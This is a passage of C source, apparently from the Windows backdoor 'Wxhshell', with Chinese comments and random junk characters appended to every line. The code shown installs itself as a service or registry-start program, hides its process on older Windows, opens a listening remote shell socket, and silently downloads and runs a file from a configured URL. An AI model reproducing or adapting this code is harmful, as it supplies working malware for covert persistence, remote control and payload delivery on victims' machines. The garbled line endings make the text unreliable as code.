static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YfKty0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c*Nbz,:
T7'$A!c
HANDLE hProcess; )_?$B6hf,&
PROCESS_BASIC_INFORMATION pbi; ;v\n[
N/VIP0Kb
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zY-m]7Yf
if(NULL == hInst ) return 0; ] plC
RoZV6U~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8{u01\0}
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M czWg
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iN*@f8gf
_: K\v8
if (!NtQueryInformationProcess) return 0; CG;D (AWR;
A>puk2 s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,V?,I9qf
if(!hProcess) return 0; *Rd&4XG
,L G&sa"
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; swrd
nj$K4_
CloseHandle(hProcess); Ui&$/%Z|
X;NTz75
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %Z4=3?5B"9
if(hProcess==NULL) return 0; V^i3:'
Y)`+u#`
R
HMODULE hMod; f14c}YY
char procName[255]; }^q#0`e(y
unsigned long cbNeeded; $Vzfhj-if
|z%,W/Ef
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =Wa\yBj_;m
Zpmy)W]1
CloseHandle(hProcess); 7SCI_8`
}0G Ab2
if(strstr(procName,"services")) return 1; // 以服务启动 _?ZT[t<
e+[J9;g
return 0; // 注册表启动 7Go!W(8
} =F4}
1F|+4
// 主模块 UsTPNQj
int StartWxhshell(LPSTR lpCmdLine) 9D,&)6
{ Up&q#vqIj
SOCKET wsl; j^.P=;
BOOL val=TRUE; %`'VXR?`h=
int port=0; RAC-;~$WB
struct sockaddr_in door; ./d ( @@
?x@khzk
if(wscfg.ws_autoins) Install(); !MC Wt
]O."M"B
port=atoi(lpCmdLine); kokkZd7!
(EX
if(port<=0) port=wscfg.ws_port; w3@te\
x-<dJ}`
WSADATA data; qJ@?[|2R
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v6:DA#0
u#\3T>o%@
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $$@Tgkg?o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ? &O$ayG77
door.sin_family = AF_INET; |};~YMH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5h1j.t!
door.sin_port = htons(port); w9%gaK;
,#G@ri:B
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z=|@76
closesocket(wsl); ~#@EjQCq
return 1; LjH];=R
} N+\*:$>zt6
abND#t
if(listen(wsl,2) == INVALID_SOCKET) { `4CRpz
closesocket(wsl); <T wq{kt
return 1; s@$AYZm_
} >BX_Bou
Wxhshell(wsl); 1 wG1\9S
WSACleanup(); dY,'6JzC
vl<J-+|0C
return 0; 7XNfH@
"hfwj`U
} I9E@2[=!
&a`-NRU#
// 以NT服务方式启动 II91Ia
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OH~t\fQ1Zf
{ eZcm3=WV|
DWORD status = 0; *s^5BLI9
DWORD specificError = 0xfffffff; ZZTV
>:
Lh}he:k+
serviceStatus.dwServiceType = SERVICE_WIN32; wb}tN7~Y;
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9YJb~tuZ73
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sR6(8
serviceStatus.dwWin32ExitCode = 0; %_
~[+~#
serviceStatus.dwServiceSpecificExitCode = 0; URAipLvN
serviceStatus.dwCheckPoint = 0; Xk2
75Y
serviceStatus.dwWaitHint = 0; L!5f*
TDoYp
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GYYro&aq{
if (hServiceStatusHandle==0) return; &l Q j?]
L8W3Tpi&(
status = GetLastError(); /a
q%l]hQ@
if (status!=NO_ERROR) vZ08/!n
{ 4Z_.Jdu w
serviceStatus.dwCurrentState = SERVICE_STOPPED; gvC2\k{
serviceStatus.dwCheckPoint = 0; -4Xr5j%o
serviceStatus.dwWaitHint = 0; #xc[)Y,W
serviceStatus.dwWin32ExitCode = status;
d^w_rL
serviceStatus.dwServiceSpecificExitCode = specificError; hCmOSDym
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z'fS%uI
return; d|TIrlA
} vl#/8]0!
)L{\k$r!EM
serviceStatus.dwCurrentState = SERVICE_RUNNING; C?O{l%0
serviceStatus.dwCheckPoint = 0; |3i~?]
A
serviceStatus.dwWaitHint = 0; NB^.$39n
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J=$v+8&.
} sJr$[?
C>+UZ
// 处理NT服务事件,比如:启动、停止 3!,%;Vz=
VOID WINAPI NTServiceHandler(DWORD fdwControl) {\V)bizY;
{ DirWe
switch(fdwControl) t3M/ThIE
{ ,
?%`Ky/
case SERVICE_CONTROL_STOP: TX>;2S3q
serviceStatus.dwWin32ExitCode = 0; B0Z@ Cf
serviceStatus.dwCurrentState = SERVICE_STOPPED; #U1soZ7
serviceStatus.dwCheckPoint = 0; MwuH.# Ez
serviceStatus.dwWaitHint = 0; HV sIbQS
{ j.z#fU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -X=f+4j
} DxYu
return; g9gyWz
case SERVICE_CONTROL_PAUSE: b ,cvQD
serviceStatus.dwCurrentState = SERVICE_PAUSED; |!}$V
break; 78X;ZMY
case SERVICE_CONTROL_CONTINUE: &EQov9P7
serviceStatus.dwCurrentState = SERVICE_RUNNING; _uBf.Qfs
break; d1,azM
case SERVICE_CONTROL_INTERROGATE: E`i;9e'S
break; "-hgeQX
}; tly:$;K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *) wp
} b#P8Je`;9
`mMD e
// 标准应用程序主函数 /`1zkBj<&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3{%/1>+x5
{ D\k);BU~
Ki' EO$
// 获取操作系统版本 0trFLX
OsIsNt=GetOsVer(); ';1
c
GetModuleFileName(NULL,ExeFile,MAX_PATH); q%JV"9,
YFW+l~[#
// 从命令行安装 MVdE7P
if(strpbrk(lpCmdLine,"iI")) Install(); 7DI8r| ~
q)P<lKi
// 下载执行文件 $/D@=Pkc
if(wscfg.ws_downexe) { _
pJU~8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qYpHH!!C=
WinExec(wscfg.ws_filenam,SW_HIDE); C}!$'C|
} ^)SvH
GJ*AyYG
if(!OsIsNt) { 'C[gcp
// 如果时win9x,隐藏进程并且设置为注册表启动 rGN-jb)T+
HideProc(); Jjy}m0)#W_
StartWxhshell(lpCmdLine); ^=t yf&"
} 6s Pd")%G
else @<};Bo'
if(StartFromService()) [iDa6mcth
// 以服务方式启动 iBZ+gsSP
StartServiceCtrlDispatcher(DispatchTable); &o?pZ(\C
else PKwx)!
Rz
// 普通方式启动 Kkd7D_bZ*
StartWxhshell(lpCmdLine); ]-R8W/fDn
.D7\Hao
return 0; I($u
L@$
}